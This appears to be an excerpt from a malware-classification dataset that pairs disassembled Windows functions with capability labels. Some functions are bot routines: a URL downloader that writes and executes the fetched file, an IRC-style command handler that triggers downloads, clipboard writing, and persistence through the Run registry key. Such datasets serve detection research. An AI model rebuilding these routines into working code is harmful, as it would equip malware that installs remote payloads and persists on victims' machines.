joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405c10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x50c44
call fcn.00407390
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
mov dword [ebp - 0x50c20], 0
push eax
push eax
push eax
mov word [ebp - 0x50c0c], ax
lea eax, [ebp - 0x50c1c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x50c20]
mov dword [ebp - 0x50c1c], 0x10001
push eax
mov dword [ebp - 0x50c18], 0x2b11
mov dword [ebp - 0x50c14], 0x2b11
mov dword [ebp - 0x50c10], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x50bfe
lea eax, [ebp - 0x50c08]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
mov ebx, eax
mov ecx, eax
shr ecx, 1
shr ebx, 8
and bl, cl
mov cl, al
add cl, cl
and bl, 0xd1
lea edx, [ecx + eax]
xor bl, dl
mov byte [ebp + eax - 0x50c08], bl
inc eax
cmp eax, 0x50bfe
jb 0x405c94
lea eax, [ebp - 0x50c08]
mov dword [ebp - 0x50c3c], 0x50bfe
mov dword [ebp - 0x50c40], eax
lea eax, [ebp - 0x50c40]
push 0x20
push eax
push dword [ebp - 0x50c20]
mov dword [ebp - 0x50c38], 0
mov dword [ebp - 0x50c34], 0
mov dword [ebp - 0x50c30], 0
mov dword [ebp - 0x50c2c], 0
mov dword [ebp - 0x50c28], 0
mov dword [ebp - 0x50c24], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x50c40]
push eax
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x50c40]
push eax
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00406782
mov esp, ebp
pop ebp
ret
Function at 0xbd10b8
Capabilities:
Check os version

Disassembly:
sub esp, 0x10
push ebx
push ebp
mov ebx, edx
mov ebp, ecx
mov edx, dword [esp + 0x20]
push esi
push edi
xor esi, esi
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, si
jne 0xbd10cc
sub edx, ecx
mov edi, ebx
sar edx, 1
lea esi, [edx*2 + 2]
sub edi, esi
add edi, dword [esp + 0x24]
jmp 0xbd10ff
push esi
push dword [esp + 0x2c]
push ebx
call fcn.00bd2fab
add esp, 0xc
test eax, eax
je 0xbd111c
inc ebx
cmp ebx, edi
jb 0xbd10ec
push dword [esp + 0x28]
push 0xbd3108
call dword [0xbd300c]
pop ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
add ebx, esi
xor eax, eax
jmp 0xbd1125
add ebx, 2
cmp word [ebx], ax
je 0xbd1122
mov eax, dword fs:[0x18]
lea edi, [esp + 0x14]
mov esi, 0xbd3138
mov ecx, ebp
mov eax, dword [eax + 0x30]
cmp dword [eax + 0xa4], 0xa
movsd dword es:[edi], dword [esi]
sbb eax, eax
and eax, 0xfffffffe
add eax, 0xa
add ebx, eax
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x24]
mov edx, ebx
push eax
push 4
push 8
movsw word es:[edi], word [esi]
call fcn.00bd1000
add esp, 0xc
test al, al
je 0xbd1114
lea eax, [esp + 0x10]
push eax
push 8
lea eax, [esp + 0x1c]
push eax
push ebx
push ebp
call dword [0xbd3008]
lea eax, [esp + 0x24]
mov edx, ebx
push eax
push dword [esp + 0x28]
mov ecx, ebp
push 8
call fcn.00bd1000
add esp, 0xc
jmp 0xbd1114

Function at 0xbd28c0
Capabilities:
Get os information via kuser_shared_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
xor eax, eax
test dl, dl
push esi
push edi
mov edi, 0xbd2f90
mov esi, 0xc00000bb
cmovne edi, eax
cmp dword [0x7ffe026c], 6
jbe 0xbd2931
and dword [ebp - 4], eax
push eax
push 4
lea eax, [ebp - 4]
push eax
push 0x1a
push 0xffffffffffffffff
call dword [0xbd3050]
test eax, eax
js 0xbd2931
cmp dword [ebp - 4], 0
je 0xbd2931
and dword [ebp - 0xc], 0
mov eax, dword [0xbd5bbc]
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], edi
push 0xc
test eax, eax
je 0xbd2921
lea ecx, [ebp - 0x10]
push ecx
push 0x28
push 0xffffffffffffffff
call eax
jmp 0xbd292f
lea eax, [ebp - 0x10]
push eax
push 0x28
push 0xffffffffffffffff
call dword [0xbd3074]
mov esi, eax
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0xbd2c9e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 0x18
xor eax, eax
mov dword [ebp - 0x18], ecx
pop esi
mov dword [ebp - 0x48], esi
lea edi, [ebp - 0x44]
stosd dword es:[edi], eax
xor ebx, ebx
mov dword [ebp - 0x14], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x48]
push eax
push 0x410
lea eax, [ebp - 4]
push eax
call dword [fcn.00bd3054]
test eax, eax
js 0xbd2dc8
mov eax, dword [0xbd5bc4]
push ebx
push esi
test eax, eax
je 0xbd2cf5
lea ecx, [ebp - 0x30]
push ecx
push ebx
push dword [ebp - 4]
call eax
jmp 0xbd2d03
lea eax, [ebp - 0x30]
push eax
push ebx
push dword [ebp - 4]
call dword [0xbd3050]
test eax, eax
js 0xbd2dbf
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0xbd2dbf
mov edi, dword [0xbd3060]
lea ecx, [ebp - 0xc]
push ebx
push 4
push ecx
add eax, 8
mov dword [ebp - 0xc], ebx
push eax
push dword [ebp - 4]
call edi
push ebx
push 0x1f8
push 0xbd5e50
push dword [ebp - 0xc]
push dword [ebp - 4]
call edi
mov eax, 0x5a4d
cmp word [0xbd5e50], ax
jne 0xbd2dbf
mov esi, dword [0xbd5e8c]
cmp dword [esi + 0xbd5e50], 0x4550
jne 0xbd2dbf
mov eax, dword [esi + 0xbd5ea0]
push 4
push 0x3000
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 0xffffffffffffffff
call dword [0xbd305c]
test eax, eax
js 0xbd2dbf
push ebx
push dword [esi + 0xbd5ea0]
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 4]
call edi
push ecx
mov ecx, dword [ebp - 8]
call fcn.00bd2dcd
mov dword [esp], 0x8000
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x10], ebx
push eax
push 0xffffffffffffffff
call dword [0xbd3038]
push dword [ebp - 4]
call dword [fcn.00bd3064]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401005
Capabilities:
Terminate process

Disassembly:
jmp 0x40362f
push 0x14
push 0x40a1f0
call fcn.0040109b
push 1
call fcn.00401217
pop ecx
test al, al
je 0x403550
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00401244
mov byte [ebp - 0x24], al
mov eax, dword [0x40b678]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x403550
test eax, eax
jne 0x403474
mov dword [0x40b678], ecx
push 0x408618
push 0x40830c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x403457
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x403540
push 0x408208
push section..rdata
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x40b678], 2
jmp 0x403479
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00401113
pop ecx
call fcn.00401037
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4034aa
push esi
call fcn.004010d7
pop ecx
test al, al
je 0x4034aa
mov esi, dword [esi]
push edi
push 2
push edi
mov ecx, esi
call dword [section..00cfg]
call esi
call fcn.00401023
mov esi, eax
cmp dword [esi], edi
je 0x4034c8
push esi
call fcn.004010d7
pop ecx
test al, al
je 0x4034c8
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call fcn.00401091
movzx esi, ax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push esi
push eax
push edi
push 0x400000
call fcn.00401285
mov esi, eax
call fcn.0040124e
test al, al
je 0x403557
test bl, bl
jne 0x4034f6
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.00401118
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x403540
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push 7
call fcn.0040114f
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
push dword [ebp - 0x20]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
int3
call fcn.004012c6
jmp 0x4033ea
Function at 0x401032
Capabilities:
Create http request
Create process on windows
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
jmp 0x401886
sub esp, 0xc0
mov eax, dword [0x40b140]
xor eax, esp
mov dword [esp + 0xbc], eax
push ebx
push ebp
mov ebp, dword [esp + 0xd0]
xor eax, eax
push esi
mov esi, dword [esp + 0xd0]
push edi
push 0x44
pop ebx
push ebx
push eax
lea eax, [esp + 0x2c]
push eax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [esp + 0x30], ebx
lea edi, [esp + 0x20]
mov dword [esp + 0x5c], 1
stosd dword es:[edi], eax
add esp, 0xc
xor ebx, ebx
stosd dword es:[edi], eax
push ebx
push ebx
push ebx
stosd dword es:[edi], eax
push ebx
push str.wget
stosd dword es:[edi], eax
xor eax, eax
mov word [esp + 0x68], ax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
je 0x40197c
push ebx
push ebx
push ebx
push ebx
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x40197c
push 0x408b60
push ebp
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40197c
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x401940
cmp dword [esp + 0x10], 0
je 0x401953
push esi
push dword [esp + 0x14]
lea eax, [esp + 0x70]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push 0x62
lea eax, [esp + 0x70]
push eax
push edi
call ebx
test eax, eax
jne 0x401924
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x28]
push eax
xor eax, eax
push eax
push eax
push 0x20
push 1
push eax
push eax
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
inc eax
jmp 0x40197e
xor eax, eax
mov ecx, dword [esp + 0xcc]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004010ff
add esp, 0xc0
ret

Function at 0x40105f
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
jmp 0x4022ba
push esi
push edi
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0xc]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4022d5
sub ecx, edx
lea eax, [ecx + 1]
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub eax, esi
mov cl, byte [esi]
mov byte [eax + esi], cl
inc esi
test cl, cl
jne 0x4022f8
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
pop edi
pop esi
jmp dword [sym.imp.USER32.dll_CloseClipboard]
Function at 0x4010a5
Capabilities:
Get common file path
Open clipboard
Write clipboard data

Disassembly:
jmp 0x402189
sub esp, 0x20c
mov eax, dword [0x40b140]
xor eax, esp
mov dword [esp + 0x208], eax
push ebx
mov ebx, dword [esp + 0x214]
lea eax, [esp + 4]
push ebp
push esi
push edi
mov ebp, 0x104
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edx, str.img104385.zip
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4021c0
lea edi, [esp + 0x10]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4021ce
mov ecx, edx
lea eax, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x124]
push 0x409410
push eax
call fcn.004012c1
add esp, 0x18
push ebx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x402264
call dword [sym.imp.USER32.dll_EmptyClipboard]
push 0x118
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0x41
pop ecx
lea esi, [esp + 0x114]
and dword [eax + 0x10], 0
lea edi, [eax + 0x14]
mov dword [eax], 0x14
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 0xf
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x218]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004010ff
add esp, 0x20c
ret
Function at 0x401159
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x4019db
push ebp
lea ebp, [esp - 0xb0]
sub esp, 0x130
mov eax, dword [0x40b140]
xor eax, ebp
mov dword [ebp + 0xac], eax
mov eax, dword [ebp + 0xb8]
push ebx
push esi
mov ebx, 0x408b64
push ebx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
pop ecx
xor esi, esi
pop ecx
inc esi
push ebx
push 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov dword [ebp + esi*4 - 0x80], eax
inc esi
pop ecx
pop ecx
cmp esi, 0xa
jl 0x401a10
push str.test
push dword [ebp - 0x74]
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401a3d
call fcn.004011e0
push str.download
push dword [ebp - 0x74]
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401afd
push 6
call fcn.0040101e
lea edx, [ebp - 0x58]
pop ecx
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401a61
lea ecx, [ebp - 0x58]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x401a6f
mov eax, dword [str..exe]
mov dword [ecx], eax
mov al, byte [0x408b80]
mov byte [ecx + 4], al
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x70]
call fcn.00401032
mov esi, 0x40b530
pop ecx
pop ecx
push dword [ebp - 0x70]
push str.channel
test eax, eax
je 0x401ad2
push str.PRIVMSG__s_:
push esi
call fcn.004012c1
mov ecx, esi
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401ab8
push 0
sub ecx, edx
push ecx
push esi
push dword [0x40b528]
call sub.WS2_32.dll_send
jmp 0x401ae0
push str.PRIVMSG__s_:Hata____s__n
push esi
call fcn.004012c1
add esp, 0x10
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401ae5
push 0
sub ecx, edx
push ecx
push esi
push dword [0x40b528]
call sub.WS2_32.dll_send
mov ecx, dword [ebp + 0xac]
pop esi
xor ecx, ebp
pop ebx
call fcn.004010ff
add ebp, 0xb0
leave
ret
Function at 0x40124e
Capabilities:
Parse pe header

Disassembly:
jmp 0x403d9f
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403dde
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403dde
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403dde
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403dde
cmp dword [ecx + 0x74], 0xe
jbe 0x403dde
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4012b2
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
jmp 0x4015ff
sub esp, 0x418
mov eax, dword [0x40b140]
xor eax, esp
mov dword [esp + 0x414], eax
push ebx
push ebp
push esi
push edi
mov ebx, 0x104
lea eax, [esp + 0x118]
push ebx
xor ebp, ebp
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
push ebx
lea eax, [esp + 0x22c]
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
push ebx
lea eax, [esp + 0x30]
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0x13c]
add esp, 0x24
mov dword [esp + 0x10], ebp
push ebx
push eax
call edi
push ebx
lea eax, [esp + 0x220]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push eax
call ebx
push str.filename.exe
lea eax, [esp + 0x11c]
push eax
lea eax, [esp + 0x1c]
push str._s_s
push eax
call fcn.004012c1
add esp, 0x10
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp eax, 0xffffffff
je 0x4016ba
push 0x80
lea eax, [esp + 0x18]
push eax
call esi
push ebp
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 5
lea eax, [esp + 0x18]
push eax
call esi
push ebp
lea eax, [esp + 0x14]
push eax
push ebp
push 0xf003f
push ebp
push ebp
push ebp
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, str.filename.exe
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401700
sub ecx, edx
push ecx
push esi
push 1
push ebp
push str.regname
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 0x104
lea eax, [esp + 0x118]
push esi
push eax
call edi
push esi
lea eax, [esp + 0x324]
push eax
push ebp
call ebx
mov edx, str.img104385.zip
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40174a
lea edi, [esp + 0x118]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40175b
mov ecx, edx
lea eax, [esp + 0x118]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push str.img104385.jpeg_www.imageshack.com
mov ecx, edx
push eax
and ecx, 3
lea eax, [esp + 0x328]
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.00401186
mov ecx, dword [esp + 0x430]
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004010ff
add esp, 0x418
ret
Function at 0x402ab0
Capabilities:
Encode data using xor
Hash data with crc32
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x40b140]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push 0
push 0
push edi
mov dword [ebp - 0x80c], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor esi, esi
lea eax, [ebp - 0x808]
push esi
push eax
push 0x400
lea eax, [ebp - 0x404]
mov dword [ebp - 0x808], esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402cf1
push ebx
nop word [eax + eax]
mov ebx, dword [ebp - 0x808]
test ebx, ebx
je 0x402cf0
lea edi, [ebp - 0x404]
mov dword [ebp - 0x808], edi
xor edi, edi
nop dword [eax]
mov ecx, edi
mov eax, edi
shr ecx, 1
mov edx, ecx
xor edx, 0xedb88320
test al, 1
cmove edx, ecx
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
test dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
test cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
test dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
test cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
test dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
test cl, 1
cmove edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, 0xedb88320
test dl, 1
cmove eax, ecx
mov dword [ebp + edi*4 - 0x804], eax
inc edi
cmp edi, 0x100
jl 0x402b30
mov edi, dword [ebp - 0x808]
not esi
cmp ebx, 8
jl 0x402c96
mov ecx, ebx
shr ecx, 3
lea eax, [ecx*8]
sub ebx, eax
movzx eax, byte [edi]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 1]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 2]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 3]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 4]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 5]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 6]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 7]
add edi, 8
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
sub ecx, 1
jne 0x402bf3
test ebx, ebx
je 0x402cba
nop word [eax + eax]
movzx eax, byte [edi]
lea edi, [edi + 1]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
sub ebx, 1
jne 0x402ca0
mov edi, dword [ebp - 0x80c]
lea eax, [ebp - 0x808]
push 0
push eax
push 0x400
lea eax, [ebp - 0x404]
mov dword [ebp - 0x808], 0
push eax
push edi
not esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402b10
pop ebx
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.004010ff
mov esp, ebp
pop ebp
ret
Function at 0x29a2948
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x24
push ebx
mov ebx, dword [esp + 0x30]
mov eax, 0x1001d940
push ebp
push esi
push edi
push dword [esp + 0x44]
push dword [esp + 0x44]
push ebx
push dword [esp + 0x44]
push edx
push eax
call fcn.029a561e
push ebx
push eax
call fcn.029a561e
mov dword [esp + 0x44], 0x3ece4f
xor edi, edi
mov dword [esp + 0x48], 0x244da6
mov dword [esp + 0x4c], edi
mov dword [esp + 0x50], edi
mov dword [esp + 0x38], 0xbf01
imul eax, dword [esp + 0x38], 0x51
mov dword [esp + 0x38], eax
xor dword [esp + 0x38], 0x3c3f23
mov dword [esp + 0x34], 0x6472
add dword [esp + 0x34], 0xffff36d3
xor dword [esp + 0x34], 0xffffef10
mov dword [esp + 0x30], 0xe6ec
add dword [esp + 0x30], 0x4fb8
xor dword [esp + 0x30], 0x55db56bf
add dword [esp + 0x30], 0xb9d9
xor dword [esp + 0x30], 0x55db1a1b
mov eax, dword [0x1001d940]
mov edx, dword [0x1001d944]
xor edx, eax
mov dword [esp + 0x3c], eax
mov eax, edx
mov dword [esp + 0x40], edx
and eax, 0xfffffffc
mov ecx, edx
add eax, 4
mov esi, edx
and cl, 3
cmovne esi, eax
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
add esp, 0x18
mov eax, dword [esp + 0x20]
mov edx, esi
call fcn.029a7107
mov ebp, eax
pop ecx
pop ecx
test ebp, ebp
je 0x29a2a6e
shr esi, 2
mov edx, 0x1001d948
xor eax, eax
lea ecx, [esi*4 + 0x1001d948]
mov esi, ecx
sub esi, edx
add esi, 3
shr esi, 2
cmp ecx, edx
cmovb esi, eax
test esi, esi
je 0x29a2a64
mov ecx, ebp
sub ecx, edx
mov eax, dword [edx]
xor eax, dword [esp + 0x1c]
inc edi
mov dword [ecx + edx], eax
lea edx, [edx + 4]
cmp edi, esi
jb 0x29a2a53
test ebx, ebx
je 0x29a2a6e
mov eax, dword [esp + 0x20]
mov dword [ebx], eax
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x24
ret